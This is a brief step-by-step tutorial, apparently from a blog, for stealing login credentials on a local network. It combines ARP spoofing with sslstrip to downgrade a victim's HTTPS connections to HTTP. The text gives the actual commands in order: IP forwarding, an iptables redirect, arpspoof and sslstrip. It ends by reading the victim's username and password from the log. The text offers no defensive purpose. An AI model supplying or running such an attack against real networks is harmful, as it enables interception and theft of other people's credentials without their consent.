Step 1: We should set our machine in forwarding mode so that our machine has the capacity to forward each packet that was not expected for your machine.
echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2: Need to set iptables to redirect traffic from port 80 to port 8080 to ensure outgoing connections to sslstrip.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
Step 3: Need to find our Network Gateway.
route -n
Step 4: Next we need to find our target machine’s IP address
Step 5:Â ARP spoofing is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network.
arpspoof -i -t
Step6: Now we need to listen to port 8080, by opening a new terminal window.
sslstrip -l 8080
Step 7: Now we should go to the victim machine and for Ex type facebook.com in the browser as we know Facebook will go with HTTPS, but now check with the victim machine, we can see the connection established through HTTP.
Step8: Now go to the Home folder and check for the sslstrip.log file, we can find the username and password the victim entered for login.
That’s all we have cracked our victim’s credentials.
